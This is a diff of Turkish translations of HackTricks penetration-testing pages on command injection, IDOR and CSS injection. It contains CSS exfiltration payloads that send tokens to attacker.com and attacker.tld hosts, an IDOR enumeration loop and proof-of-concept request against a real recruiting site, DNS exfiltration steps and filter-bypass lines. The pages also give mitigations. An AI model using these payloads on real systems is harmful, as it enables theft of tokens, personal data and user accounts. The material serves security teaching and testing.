-Bir linux makinesinde **keyfi komutlar çalıştırmayı** deniyorsanız, bu **Bypass'lar** hakkında okumak ilginizi çekecektir:
+Eğer bir **linux makinesi içinde rastgele komutlar çalıştırmaya** çalışıyorsanız, bu **Bypasses:** hakkında okumak ilginizi çekecektir:
 
 
 {{#ref}}
@@ -47,7 +47,7 @@ vuln=echo PAYLOAD > /tmp/pay.txt; cat /tmp/pay.txt | base64 -d > /tmp/pay; chmod
 ```
 ### Parametreler
 
-Aşağıda code injection ve benzeri RCE açıklarına açık olabilecek en yaygın 25 parametre yer alıyor (kaynak: [link](https://twitter.com/trbughunters/status/1283133356922884096)):
+İşte code injection ve benzeri RCE zafiyetlerine açık olabilecek en iyi 25 parametre (kaynak: [link](https://twitter.com/trbughunters/status/1283133356922884096)):
 ```
 ?cmd={payload}
 ?exec={payload}
@@ -89,9 +89,9 @@ real    0m0.002s
 user    0m0.000s
 sys 0m0.000s
 ```
-### DNS based data exfiltration
+### DNS tabanlı data exfiltration
 
-Bu çalışma `https://github.com/HoLyVieR/dnsbin` üzerindeki araca dayanıyor; ayrıca dnsbin.zhack.ca adresinde barındırılıyor.
+Aracın kaynağı `https://github.com/HoLyVieR/dnsbin` üzerine kurulmuştur; ayrıca dnsbin.zhack.ca adresinde barındırılmaktadır.
 ```
 1. Go to http://dnsbin.zhack.ca/
 2. Execute a simple 'ls'
@@ -106,7 +106,7 @@ DNS tabanlı data exfiltration'ı kontrol etmek için çevrimiçi araçlar:
 - dnsbin.zhack.ca
 - pingb.in
 
-### Filtering bypass
+### Filtreleme atlatma
 
 #### Windows
 ```
@@ -122,7 +122,7 @@ powershell C:**2\n??e*d.*? # notepad
 
 ### Node.js `child_process.exec` vs `execFile`
 
-JavaScript/TypeScript arka uçlarını denetlerken sık sık Node.js `child_process` API'si ile karşılaşırsınız.
+JavaScript/TypeScript arka uçlarını denetlerken sıklıkla Node.js `child_process` API'si ile karşılaşırsınız.
 ```javascript
 // Vulnerable: user-controlled variables interpolated inside a template string
 const { exec } = require('child_process');
@@ -130,9 +130,9 @@ exec(`/usr/bin/do-something --id_user ${id_user} --payload '${JSON.stringify(pay
 /* … */
 });
 ```
-`exec()` bir **shell** (`/bin/sh -c`) başlatır, bu nedenle shell için özel bir anlam taşıyan herhangi bir karakter (back-ticks, `;`, `&&`, `|`, `$()`, …) kullanıcı girdisi string içinde birleştirildiğinde **command injection** ile sonuçlanır.
+`exec()` bir **shell** (`/bin/sh -c`) başlatır; bu nedenle shell'e özel anlamı olan herhangi bir karakter (back-ticks, `;`, `&&`, `|`, `$()`, …) kullanıcı girdisi string içinde birleştirildiğinde **command injection** ile sonuçlanır.
 
-**Önlem:** `execFile()` (veya `spawn()` `shell` seçeneği olmadan) kullanın ve **her argümanı ayrı bir dizi öğesi** olarak sağlayın, böylece shell devre dışı kalır:
+**Önlem:**  `execFile()` kullanın (veya `spawn()`'ı `shell` seçeneği olmadan) ve **her argümanı ayrı bir dizi elemanı olarak** sağlayın, böylece herhangi bir shell kullanılmaz:
 ```javascript
 const { execFile } = require('child_process');
 execFile('/usr/bin/do-something', [
@@ -140,7 +140,7 @@ execFile('/usr/bin/do-something', [
 '--payload', JSON.stringify(payload)
 ]);
 ```
-Gerçek vaka: *Synology Photos* ≤ 1.7.0-0794, kimlik doğrulaması olmayan bir WebSocket olayı aracılığıyla istismar edilebiliyordu; bu olay saldırgan kontrollü veriyi `id_user` içine yerleştiriyor ve daha sonra `exec()` çağrısına gömülüyordu, bu da RCE elde edilmesine yol açtı (Pwn2Own Ireland 2024).
+Gerçek dünya vakası: *Synology Photos* ≤ 1.7.0-0794, kimlik doğrulaması gerektirmeyen bir WebSocket olayı aracılığıyla saldırgan kontrollü veriyi `id_user` içine yerleştiriyordu; bu daha sonra bir `exec()` çağrısına gömülerek RCE'ye yol açtı (Pwn2Own Ireland 2024).
 
 ## Brute-Force Tespit Listesi
 
@@ -149,7 +149,7 @@ Gerçek vaka: *Synology Photos* ≤ 1.7.0-0794, kimlik doğrulaması olmayan bir
 https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/command_injection.txt
 {{#endref}}
 
-## Kaynaklar
+## Referanslar
 
 - [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Command%20Injection](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Command%20Injection)
 - [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Command%20Injection](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Command%20Injection)

src/pentesting-web/idor.md

@@ -2,23 +2,23 @@
 
 {{#include ../banners/hacktricks-training.md}}
 
-IDOR (Insecure Direct Object Reference) / Broken Object Level Authorization (BOLA), bir web veya API uç noktasının, bir kullanıcının kontrol edebildiği bir tanımlayıcıyı **doğrudan** iç nesneye erişmek için ifşa ettiği veya kabul ettiği ve çağıranın o nesneye erişmeye/ürünü değiştirmeye yetkili olup olmadığını **doğrulamadan** kullanıldığı durumlarda ortaya çıkar.
-Başarılı sömürü genellikle diğer kullanıcıların verilerini okuma veya değiştirme gibi horizontal or vertical privilege-escalation’a izin verir ve en kötü durumda tam hesap devralma veya toplu veri dışarı sızdırma ile sonuçlanabilir.
+IDOR (Insecure Direct Object Reference) / Broken Object Level Authorization (BOLA), bir web veya API endpoint'inin, kullanıcı tarafından kontrol edilebilen ve bir iç nesneye **doğrudan** erişmek için kullanılan bir tanımlayıcıyı ifşa ettiği veya kabul ettiği ve çağıranın bu nesneye erişmeye/değiştirmeye yetkili olup olmadığını **doğrulamadığı** durumlarda ortaya çıkar.
+Başarılı istismar genellikle diğer kullanıcıların verilerini okuma veya değiştirme gibi yatay veya dikey yetki yükseltmeye izin verir ve en kötü durumda tam hesap ele geçirme veya toplu veri sızdırma ile sonuçlanabilir.
 
 ---
 ## 1. Potansiyel IDOR'ları Belirleme
 
-1. Bir nesneyi referans gösteren **parametrelere** bakın:
+1. **Bir nesneyi referans eden parametrelere** bakın:
 * Path: `/api/user/1234`, `/files/550e8400-e29b-41d4-a716-446655440000`
 * Query: `?id=42`, `?invoice=2024-00001`
 * Body / JSON: `{"user_id": 321, "order_id": 987}`
 * Headers / Cookies: `X-Client-ID: 4711`
-2. Veri **okuyan veya güncelleyen** (`GET`, `PUT`, `PATCH`, `DELETE`) uç noktalarını tercih edin.
-3. Tanımlayıcıların **ardışık veya tahmin edilebilir** olup olmadığına dikkat edin – ID'niz `64185742` ise muhtemelen `64185741` vardır.
-4. Ek API'leri açığa çıkarabilecek gizli veya alternatif akışları (ör. giriş sayfalarındaki *"Paradox team members"* bağlantısı) keşfedin.
-5. Bir **kimlik doğrulanmış düşük ayrıcalıklı oturum** kullanın ve sadece ID'yi değiştirip **aynı token/cookie**'yi tutun. Yetkilendirme hatasının olmaması genellikle IDOR belirtisidir.
+2. Veriyi **okuyan veya güncelleyen** endpoint'leri tercih edin (`GET`, `PUT`, `PATCH`, `DELETE`).
+3. Tanımlayıcıların **sıralı veya öngörülebilir** olup olmadığına dikkat edin – eğer ID'niz `64185742` ise muhtemelen `64185741` de vardır.
+4. Ek API'leri ortaya çıkarabilecek gizli veya alternatif akışları (ör. giriş sayfalarındaki *"Paradox team members"* linki) keşfedin.
+5. **Düşük yetkili bir authenticated oturum** kullanın ve sadece ID'yi değiştirin, **aynı token/cookie'yi koruyun**. Yetkilendirme hatasının olmaması genellikle IDOR işaretidir.
 
-### Hızlı manuel müdahale (Burp Repeater)
+### Hızlı manuel manipülasyon (Burp Repeater)
 ```
 PUT /api/lead/cem-xhr HTTP/1.1
 Host: www.example.com
@@ -36,69 +36,67 @@ curl -s -X PUT 'https://www.example.com/api/lead/cem-xhr' \
 -d '{"lead_id":'"$id"'}' | jq -e '.email' && echo "Hit $id";
 done
 ```
----
-
 ### Error-response oracle for user/file enumeration
 
-Bir download endpoint hem username hem de filename kabul ettiğinde (örn. `/view.php?username=<u>&file=<f>`), hata mesajlarındaki ince farklılıklar sıklıkla bir oracle oluşturur:
+Bir download endpoint hem username hem de filename kabul ettiğinde (ör. `/view.php?username=<u>&file=<f>`), hata mesajlarındaki ince farklılıklar sıklıkla bir oracle oluşturur:
 
-- Var olmayan username → "Kullanıcı bulunamadı"
-- Hatalı filename ama geçerli extension → "Dosya mevcut değil" (bazen mevcut dosyaları da listeler)
-- Hatalı extension → doğrulama hatası
+- Var olmayan username → "User not found"
+- Bozuk filename ancak geçerli extension → "File does not exist" (bazen mevcut dosyaları da listeler)
+- Geçersiz extension → validation error
 
-Herhangi bir kimliği doğrulanmış oturumda, zararsız bir filename sabit tutarak username parametresini fuzz'layabilir ve geçerli kullanıcıları keşfetmek için "Kullanıcı bulunamadı" dizisini filtreleyebilirsiniz:
+Herhangi bir authenticated session ile, zararsız bir filename sabit tutarak username parametresini fuzz edebilir ve "user not found" string'ine göre filtreleyerek geçerli kullanıcıları keşfedebilirsiniz:
 ```bash
 ffuf -u 'http://target/view.php?username=FUZZ&file=test.doc' \
 -b 'PHPSESSID=<session-cookie>' \
 -w /opt/SecLists/Usernames/Names/names.txt \
 -fr 'User not found'
 ```
-Once valid usernames are identified, request specific files directly (e.g., `/view.php?username=amanda&file=privacy.odt`). Bu desen genellikle diğer kullanıcıların belgelerinin yetkisiz ifşasına ve credential leakage'e yol açar.
+Once valid usernames are identified, request specific files directly (e.g., `/view.php?username=amanda&file=privacy.odt`). Bu desen genellikle diğer kullanıcıların belgelerinin yetkisiz ifşasına ve credential leakage ile sonuçlanır.
 
 ---
-## 2. Gerçek Dünya Vaka Çalışması – McHire Chatbot Platform (2025)
+## 2. Gerçek Dünya Vaka İncelemesi – McHire Chatbot Platform (2025)
 
-Paradox.ai-powered **McHire** işe alım portalının bir değerlendirmesi sırasında aşağıdaki IDOR tespit edildi:
+Paradox.ai destekli **McHire** işe alım portalının değerlendirmesi sırasında aşağıdaki IDOR keşfedildi:
 
-* Endpoint: `PUT /api/lead/cem-xhr`
-* Authorization: user session cookie for **any** restaurant test account
-* Body parameter: `{"lead_id": N}` – 8 haneli, **sıralı** sayısal tanımlayıcı
+* Uç nokta: `PUT /api/lead/cem-xhr`
+* Yetkilendirme: herhangi bir restoran test hesabı için user session cookie
+* Gövde parametresi: `{"lead_id": N}` – 8 haneli, **ardışık** sayısal tanımlayıcı
 
-lead_id'yi azaltarak test eden, rastgele başvuruların **full PII**'sini (isim, e-posta, telefon, adres, vardiya tercihleri) ve session hijacking'e olanak veren bir tüketici **JWT**'sini elde etti. `1 – 64,185,742` aralığının taranması yaklaşık **64 milyon** kaydı açığa çıkardı.
+lead_id değerini düşürerek test eden kişi, rastgele başvuranların **full PII** (name, e-mail, phone, address, shift preferences) ve oturum kaçırılmasına izin veren bir consumer **JWT** elde etti. `1 – 64,185,742` aralığının numaralandırılması yaklaşık **64 milyon** kaydı açığa çıkardı.
 
-Proof-of-Concept isteği:
+Proof-of-Concept request:
 ```bash
 curl -X PUT 'https://www.mchire.com/api/lead/cem-xhr' \
 -H 'Content-Type: application/json' \
 -d '{"lead_id":64185741}'
 ```
-Combined with **varsayılan yönetici kimlik bilgileri** (`123456:123456`) test hesabına erişim verdiği için, bu zafiyet kritik ve şirket genelinde bir veri ihlaline yol açtı.
+Test hesabına erişim sağlayan **varsayılan admin kimlik bilgileri** (`123456:123456`) ile birleştiğinde, zafiyet kritik, şirket geneli bir veri ihlaline yol açtı.
 
 ---
-## 3. Impact of IDOR / BOLA
-* Yatay yetki yükseltme – **diğer kullanıcıların** verilerini oku/güncelle/sil.
-* Dikey yetki yükseltme – düşük ayrıcalıklı bir kullanıcı yöneticiye özel işlevlere erişim kazanır.
-* Tanımlayıcılar ardışık ise toplu veri ihlali olabilir (e.g., applicant IDs, invoices).
-* Token çalmak veya diğer kullanıcıların parolalarını sıfırlamak yoluyla hesap ele geçirme.
+## 3. IDOR / BOLA Etkisi
+* Yatay yükseltme – **diğer kullanıcıların** verilerini okuma/güncelleme/silme.
+* Dikey yükseltme – düşük ayrıcalıklı bir kullanıcı sadece admin'e ait işlevlere erişim kazanır.
+* Kimlikler ardışık ise kitlesel veri ihlali (örn., başvuru ID'leri, faturalar).
+* Token çalarak veya diğer kullanıcıların şifrelerini sıfırlayarak hesap devralma.
 
 ---
-## 4. Mitigations & Best Practices
-1. Her istekte **nesne düzeyinde yetkilendirme** uygulayın (`user_id == session.user`).
+## 4. Önlemler ve En İyi Uygulamalar
+1. Her istekte **nesne-düzeyinde yetkilendirme** uygulayın (`user_id == session.user`).
 2. Otomatik artan ID'ler yerine **dolaylı, tahmin edilemez tanımlayıcıları** (UUIDv4, ULID) tercih edin.
 3. Yetkilendirmeyi **sunucu tarafında** gerçekleştirin; gizli form alanlarına veya UI kontrollerine asla güvenmeyin.
-4. Merkezi bir middleware'de **RBAC / ABAC** kontrolleri uygulayın.
-5. ID taramasını tespit etmek için **oran sınırlaması ve kayıt tutma** ekleyin.
-6. Her yeni endpoint'i güvenlik testinden geçirin (unit, integration ve DAST).
+4. RBAC / ABAC kontrollerini merkezi bir ara katmanda uygulayın.
+5. ID'lerin taranmasını tespit etmek için **rate-limiting & logging** ekleyin.
+6. Her yeni endpoint'i güvenlik testine tabi tutun (unit, integration ve DAST).
 
 ---
-## 5. Tooling
-* **BurpSuite extensions**: Authorize, Auto Repeater, Turbo Intruder.
+## 5. Araçlar
+* **BurpSuite uzantıları**: Authorize, Auto Repeater, Turbo Intruder.
 * **OWASP ZAP**: Auth Matrix, Forced Browse.
-* **Github projects**: `bwapp-idor-scanner`, `Blindy` (bulk IDOR hunting).
+* **Github projeleri**: `bwapp-idor-scanner`, `Blindy` (toplu IDOR avlama).
 
 
 
-## References
+## Kaynaklar
 * [McHire Chatbot Platform: Default Credentials and IDOR Expose 64M Applicants’ PII](https://ian.sh/mcdonalds)
 * [OWASP Top 10 – Broken Access Control](https://owasp.org/Top10/A01_2021-Broken_Access_Control/)
 * [How to Find More IDORs – Vickie Li](https://medium.com/@vickieli/how-to-find-more-idors-ae2db67c9489)

src/pentesting-web/xs-search/css-injection/README.md

@@ -4,9 +4,9 @@
 
 ## CSS Injection
 
-### Öznitelik Seçici
+### Attribute Selector
 
-CSS seçicileri, bir `input` öğesinin `name` ve `value` özniteliklerinin değerleriyle eşleşecek şekilde hazırlanır. Eğer `input` öğesinin `value` özniteliği belirli bir karakterle başlarsa, önceden tanımlanmış bir dış kaynak yüklenir:
+CSS seçicileri, bir `input` öğesinin `name` ve `value` özniteliklerinin değerleriyle eşleşecek şekilde hazırlanır. Eğer `input` öğesinin `value` özniteliği belirli bir karakterle başlarsa, önceden tanımlanmış bir harici kaynak yüklenir:
 ```css
 input[name="csrf"][value^="a"] {
 background-image: url(https://attacker.com/exfil/a);
@@ -19,11 +19,11 @@ input[name="csrf"][value^="9"] {
 background-image: url(https://attacker.com/exfil/9);
 }
 ```
-Ancak, bu yaklaşım gizli input öğeleri (`type="hidden"`) ile uğraşırken bir sınırlama ile karşılaşır çünkü gizli öğeler arka planları yüklemez.
+Ancak, bu yaklaşım gizli input öğeleri (`type="hidden"`) ile uğraşırken bir sınırlamayla karşılaşır çünkü gizli öğeler arka planları yüklemez.
 
-#### Gizli Öğeler için Bypass
+#### Bypass for Gizli Öğeler
 
-Bu sınırlamayı aşmak için `~` genel kardeş seçicisini kullanarak sonraki bir kardeş öğeyi hedefleyebilirsiniz. CSS kuralı daha sonra gizli input öğesini takip eden tüm kardeş öğelere uygulanır ve bu da arka plan resminin yüklenmesine neden olur:
+Bu sınırlamayı aşmak için, `~` general sibling combinator kullanarak sonraki bir kardeş öğeyi hedefleyebilirsiniz. CSS kuralı daha sonra gizli input öğesini takip eden tüm kardeş öğelere uygulanır ve arka plan resminin yüklenmesine neden olur:
 ```css
 input[name="csrf"][value^="csrF"] ~ * {
 background-image: url(https://attacker.com/exfil/csrF);
@@ -31,19 +31,18 @@ background-image: url(https://attacker.com/exfil/csrF);
 ```
 A practical example of exploiting this technique is detailed in the provided code snippet. You can view it [here](https://gist.github.com/d0nutptr/928301bde1d2aa761d1632628ee8f24e).
 
-#### CSS Injection için Gereksinimler
+#### CSS Injection için Önkoşullar
 
-CSS Injection tekniğinin etkili olabilmesi için bazı koşulların sağlanması gerekir:
+CSS Injection tekniğinin etkili olabilmesi için belirli koşulların karşılanması gerekir:
 
-1. **Payload Length**: CSS injection vektörünün oluşturulmuş seçicileri barındıracak kadar uzun payloads desteklemesi gerekir.
-2. **CSS Re-evaluation**: Sayfayı frame'leyebilme yeteneğine sahip olmalısınız; bu, yeni oluşturulan payloads ile CSS'in yeniden değerlendirilmesini tetiklemek için gereklidir.
-3. **External Resources**: Teknik, harici olarak barındırılan resimleri kullanabilme yeteneğini varsayar. Bu, sitenin Content Security Policy (CSP) tarafından kısıtlanmış olabilir.
+1. **Payload Length**: CSS injection vektörünün, oluşturulan selectors'ları barındıracak kadar uzun payload'ları desteklemesi gerekir.
+2. **CSS Re-evaluation**: Sayfayı frame'leyebilme yeteneğiniz olmalıdır; bu, yeni oluşturulmuş payload'larla CSS'nin yeniden değerlendirilmesini tetiklemek için gereklidir.
+3. **External Resources**: Teknik, harici olarak barındırılan görüntüleri kullanabilme yeteneğini varsayar. Bu, sitenin Content Security Policy (CSP) tarafından kısıtlanmış olabilir.
 
 ### Blind Attribute Selector
 
-As [**explained in this post**](https://portswigger.net/research/blind-css-exfiltration) sayfasında açıklandığı gibi, **`:has`** ve **`:not`** seçicilerini birleştirerek kör öğelerden bile içeriği tespit etmek mümkündür.\
-Bu, CSS Injection'ı yükleyen web sayfasının içinde ne olduğunu bilmediğiniz durumlarda çok kullanışlıdır.\
-Ayrıca, bu seçicileri aynı türden birden fazla bloktan bilgi çıkarmak için de kullanmak mümkündür, örneğin:
+As [**explained in this post**](https://portswigger.net/research/blind-css-exfiltration), it's possible to combine the selectors **`:has`** and **`:not`** to identify content even from blind elements. Bu, CSS injection'ı yükleyen web sayfasının içinde ne olduğunu bilmediğiniz durumlarda çok faydalıdır.\
+Ayrıca :has ve :not gibi selectors kullanılarak aynı türdeki birden fazla bloktan bilgi çıkarılabilir, örneğin:
 ```html
 <style>
 html:has(input[name^="m"]):not(input[name="mytoken"]) {
@@ -53,34 +52,34 @@ background: url(/m);
 <input name="mytoken" value="1337" />
 <input name="myname" value="gareth" />
 ```
-Bunu aşağıdaki **@import** tekniğiyle birleştirerek, [**blind-css-exfiltration**](https://github.com/hackvertor/blind-css-exfiltration) ile blind sayfalardan CSS injection kullanarak çok fazla **bilgi** sızdırmak mümkün.
+Bunu aşağıdaki **@import** tekniğiyle birleştirirseniz, **blind sayfalardan CSS injection kullanarak çok fazla info ile** [**blind-css-exfiltration**](https://github.com/hackvertor/blind-css-exfiltration)**.**
 
 ### @import
 
-Önceki tekniğin bazı dezavantajları var, önkoşulları kontrol edin. Ya **victim'e birden fazla link gönderebilme** yeteneğiniz olmalı, ya da **CSS injection vulnerable page'i iframeleyebilmelisiniz**.
+Önceki tekniğin bazı dezavantajları var, önkoşulları kontrol edin. Ya **kurbana birden fazla link gönderebilme**, ya da **CSS injection zafiyetli sayfayı iframe edebilme** yeteneğiniz olmalı.
 
-Ancak, tekniğin kalitesini artırmak için **CSS `@import`** kullanan başka zekice bir yöntem daha var.
+Ancak, tekniğin kalitesini artırmak için **CSS `@import`** kullanan başka bir zekice yöntem var.
 
 Bu ilk olarak [**Pepe Vila**](https://vwzq.net/slides/2019-s3_css_injection_attacks.pdf) tarafından gösterildi ve şöyle çalışıyor:
 
-Aynı sayfayı her seferinde onlarca farklı payload ile tekrar tekrar yüklemek yerine (öncekinde olduğu gibi), sayfayı **load the page just once and just with an import to the attackers server** şeklinde sadece bir kez yüklüyoruz (bu, victim'e göndereceğimiz payload'tur):
+Her seferinde aynı sayfayı onlarca farklı payload ile tekrar tekrar yüklemek yerine (öncekinde olduğu gibi), sayfayı **sadece bir kere yükleyip sadece attackers server'a bir import ile** yüklüyoruz (bu, kurbana gönderilecek payload'tur):
 ```css
 @import url("//attacker.com:5001/start?");
 ```
-1. import, attackers tarafından bazı **CSS script** alacak ve **tarayıcı bunu yükleyecek**.
-2. Attacker'ın göndereceği CSS script'in ilk kısmı **yeniden attackers sunucusuna bir `@import`** olacak.
-1. Bu attackers sunucusu henüz bu isteğe yanıt vermeyecek; önce bazı karakterleri leak etmek istiyoruz ve sonra bu import'a sonraki karakterleri leak etmek için payload ile cevap vereceğiz.
-3. Payload'ın ikinci ve daha büyük kısmı bir **attribute selector leakage payload** olacak
-1. Bu, attackers sunucusuna **secret'in ilk karakterini ve son karakterini** gönderecek
-4. attackers sunucusu **secret'in ilk ve son karakterini** aldıktan sonra, adım 2'de istenen import'a **yanıt verecek**.
-1. Yanıt, **adımlar 2, 3 ve 4** ile tamamen aynı olacak, ama bu sefer secret'in **ikinci karakterini ve sonra sondan bir önceki karakteri** bulmaya çalışacak.
+1. Import, saldırganlardan **bazı CSS script'leri alacak** ve **tarayıcı bunları yükleyecek**.
+2. Saldırganın göndereceği CSS script'in ilk kısmı **başka bir `@import` ile tekrar saldırganın sunucusuna yönlendirecek.**
+1. Saldırganın sunucusu bu isteğe henüz yanıt vermeyecek; önce bazı karakterleri leak etmek ve sonra bu import'a sonraki karakterleri leak edecek yükle birlikte cevap vermek istiyoruz.
+3. Yüklemenin ikinci ve daha büyük kısmı bir **attribute selector leakage payload** olacak
+1. Bu, saldırganın sunucusuna **sırrın ilk karakterini ve son karakterini** gönderecek
+4. Saldırganın sunucusu **sırrın ilk ve son karakterlerini** aldıktan sonra, adım 2'de istenen import'a **yanıt verecek**.
+1. Yanıt, **adımlar 2, 3 ve 4** ile tamamen aynı olacak; ancak bu sefer sırrın **ikinci karakterini ve ardından sondan ikinciyi** bulmaya çalışacak.
 
-Attacker, secret'i tamamen leak edene kadar bu döngüyü takip edecek.
+Saldırgan, **sırrı tamamen leak edene kadar** bu döngüyü takip edecek.
 
 You can find the original [**Pepe Vila's code to exploit this here**](https://gist.github.com/cgvwzq/6260f0f0a47c009c87b4d46ce3808231) or you can find almost the [**same code but commented here**.](#css-injection)
 
 > [!TIP]
-> Script her seferinde 2 karakter (başlangıçtan ve sondan) keşfetmeye çalışacak çünkü attribute selector şöyle şeylere izin veriyor:
+> The script will try to discover 2 chars each time (from the beginning and from the end) because the attribute selector allows to do things like:
 >
 > ```css
 > /* value^=  to match the beggining of the value*/
@@ -94,11 +93,11 @@ You can find the original [**Pepe Vila's code to exploit this here**](https://gi
 > }
 > ```
 >
-> Bu, script'in secret'i daha hızlı leak etmesini sağlıyor.
+> This allows the script to leak the secret faster.
 
 > [!WARNING]
-> Bazen script **keşfedilen prefix + suffix'in zaten tam flag olduğunu doğru şekilde tespit etmez** ve prefix'te ileri (in the prefix) ve suffix'te geri (in the suffix) devam eder ve bir noktada takılır.\
-> Endişelenmeyin, sadece **output'u** kontrol edin çünkü **flag'i orada görebilirsiniz**.
+> Bazen script, keşfedilen ön ek + son ek'in zaten tamamlanmış flag olduğunu doğru şekilde tespit edemeyebilir ve ileriye (ön ekte) ve geriye (son ekte) doğru devam eder ve bir noktada takılıp kalır.\
+> Endişe etmeyin, sadece çıktı'yı kontrol edin çünkü flag'i orada görebilirsiniz.
 
 ### Inline-Style CSS Exfiltration (attr() + if() + image-set())
 
@@ -107,41 +106,41 @@ This primitive enables exfiltration using only an element's inline style attribu
 > [!WARNING]
 > Equality comparisons in if() require double quotes for string literals. Single quotes will not match.
 
-- Sink: bir elementin style attribute'unu kontrol edin ve hedef attribute'un aynı elementte olduğundan emin olun (attr() sadece aynı element attribute'larını okur).
+- Sink: bir elementin style attribute'unu kontrol edin ve hedef attribute'un aynı elementte olduğundan emin olun (attr() sadece aynı-element attribute'larını okur).
 - Read: attribute'u bir CSS değişkenine kopyalayın: `--val: attr(title)`.
-- Decide: değişkeni string adaylarıyla karşılaştıran iç içe conditionals kullanarak bir URL seçin: `--steal: if(style(--val:"1"): url(//attacker/1); else: url(//attacker/2))`.
+- Decide: değişkeni string adaylarla karşılaştıran iç içe koşullarla bir URL seçin: `--steal: if(style(--val:"1"): url(//attacker/1); else: url(//attacker/2))`.
 - Exfiltrate: seçilen endpoint'e istek zorlamak için `background: image-set(var(--steal))` (veya herhangi bir fetching property) uygulayın.
 
 Attempt (does not work; single quotes in comparison):
 ```html
 <div style="--val:attr(title);--steal:if(style(--val:'1'): url(/1); else: url(/2));background:image-set(var(--steal))" title=1>test</div>
 ```
-Çalışan payload (karşılaştırmada çift tırnak gerekli):
+Çalışan payload (karşılaştırmada çift tırnak gereklidir):
 ```html
 <div style='--val:attr(title);--steal:if(style(--val:"1"): url(/1); else: url(/2));background:image-set(var(--steal))' title=1>test</div>
 ```
-İçiçe koşullarla öznitelik değerlerini numaralandırma:
+İç içe koşullarla öznitelik değerlerini numaralandırma:
 ```html
 <div style='--val: attr(data-uid); --steal: if(style(--val:"1"): url(/1); else: if(style(--val:"2"): url(/2); else: if(style(--val:"3"): url(/3); else: if(style(--val:"4"): url(/4); else: if(style(--val:"5"): url(/5); else: if(style(--val:"6"): url(/6); else: if(style(--val:"7"): url(/7); else: if(style(--val:"8"): url(/8); else: if(style(--val:"9"): url(/9); else: url(/10)))))))))); background: image-set(var(--steal));' data-uid='1'></div>
 ```
-Gerçekçi demo (kullanıcı adlarını sorgulama):
+Gerçekçi demo (kullanıcı adlarını yoklama):
 ```html
 <div style='--val: attr(data-username); --steal: if(style(--val:"martin"): url(https://attacker.tld/martin); else: if(style(--val:"zak"): url(https://attacker.tld/zak); else: url(https://attacker.tld/james))); background: image-set(var(--steal));' data-username="james"></div>
 ```
-Notlar ve sınırlamalar:
+Notes and limitations:
 
-- Araştırma sırasında Chromium tabanlı tarayıcılarda çalışır; davranış diğer tarayıcı motorlarında farklı olabilir.
-- En iyi sonlu/sayımlanabilir değer alanları (IDs, flags, kısa kullanıcı adları) için uygundur. Harici stylesheet olmadan rastgele uzun dizelerin çalınması hâlâ zordur.
-- Any CSS property that fetches a URL can be used to trigger the request (e.g., background/image-set, border-image, list-style, cursor, content).
+- Araştırma sırasında Chromium-based tarayıcılarda çalışır; davranış diğer motorlarda farklı olabilir.
+- Sınırlı/tanımlanabilir değer alanları için daha uygundur (IDs, flags, short usernames). Harici stylesheets olmadan rastgele uzun string'leri çalmak hâlâ zor.
+- Bir URL çeken herhangi bir CSS özelliği isteği tetiklemek için kullanılabilir (ör. background/image-set, border-image, list-style, cursor, content).
 
-Otomasyon: a Burp Custom Action, attribute değerlerini brute-force etmek için nested inline-style payload'ları üretebilir: https://github.com/PortSwigger/bambdas/blob/main/CustomAction/InlineStyleAttributeStealer.bambda
+Automation: a Burp Custom Action attribute değerlerini brute-force etmek için nested inline-style payloads üretebilir: https://github.com/PortSwigger/bambdas/blob/main/CustomAction/InlineStyleAttributeStealer.bambda
 
-### Diğer seçiciler
+### Other selectors
 
-Other ways to access DOM parts with **CSS selectors**:
+DOM parçalarına **CSS selectors** ile erişmenin diğer yolları:
 
-- **`.class-to-search:nth-child(2)`**: DOM'daki class "class-to-search" olan ikinci öğeyi arar.
-- **`:empty`** selector: Örneğin [**this writeup**](https://github.com/b14d35/CTF-Writeups/tree/master/bi0sCTF%202022/Emo-Locker)**:**
+- **`.class-to-search:nth-child(2)`**: Bu, DOM'da "class-to-search" sınıfına sahip ikinci öğeyi arar.
+- **`:empty`** selector: Örneğin [**this writeup**](https://github.com/b14d35/CTF-Writeups/tree/master/bi0sCTF%202022/Emo-Locker)**'de kullanılmıştır:**
 
 ```css
 [role^="img"][aria-label="1"]:empty {
@@ -153,7 +152,7 @@ background-image: url("YOUR_SERVER_URL?1");
 
 **Referans:** [CSS based Attack: Abusing unicode-range of @font-face ](https://mksben.l0.cm/2015/10/css-based-attack-abusing-unicode-range.html), [Error-Based XS-Search PoC by @terjanq](https://twitter.com/terjanq/status/1180477124861407234)
 
-Genel amaç, **kontrollü bir endpoint'ten özel bir font kullanmak** ve **metnin (bu durumda, 'A') yalnızca belirtilen kaynak (`favicon.ico`) yüklenemiyorsa bu font ile görüntülenmesini sağlamak**.
+Temel amaç, **kontrol edilen bir uç noktadan özel bir font kullanmak** ve belirtilen kaynağın (`favicon.ico`) yüklenememesi durumunda **metnin (bu durumda, 'A') yalnızca bu font ile görüntülenmesini sağlamak**.
 ```html
 <!DOCTYPE html>
 <html>
@@ -175,49 +174,49 @@ font-family: "poc";
 </body>
 </html>
 ```
-1. **Custom Font Usage**:
+1. **Özel Yazı Tipi Kullanımı**:
 
-- Özel bir yazı tipi, `<head>` bölümündeki bir `<style>` etiketi içinde `@font-face` kuralı kullanılarak tanımlanır.
-- Yazı tipi `poc` olarak adlandırılır ve harici bir uç noktadan (`http://attacker.com/?leak`) alınır.
-- `unicode-range` özelliği `U+0041` olarak ayarlanır, belirli Unicode karakteri 'A'yı hedefler.
+- Bir özel yazı tipi, `<head>` bölümündeki bir `<style>` etiketi içinde `@font-face` kuralı kullanılarak tanımlanır.
+- Yazı tipi `poc` olarak adlandırılır ve harici bir uç noktadan (`http://attacker.com/?leak`) çekilir.
+- `unicode-range` özelliği `U+0041` olarak ayarlanmıştır; bu, belirli Unicode karakteri 'A'yı hedefler.
 
-2. **Object Element with Fallback Text**:
+2. **Yedek Metinli Object Element**:
 - `<body>` bölümünde `id="poc0"` olan bir `<object>` elementi oluşturulur. Bu element `http://192.168.0.1/favicon.ico` kaynağını yüklemeye çalışır.
-- Bu element için `font-family` `<style>` bölümünde tanımlandığı gibi `'poc'` olarak ayarlanır.
-- `favicon.ico` kaynağı yüklenemezse, `<object>` etiketinin içindeki yedek içerik (harf 'A') görüntülenir.
-- Harici kaynak yüklenemezse yedek içerik ('A') özel yazı tipi `poc` kullanılarak render edilir.
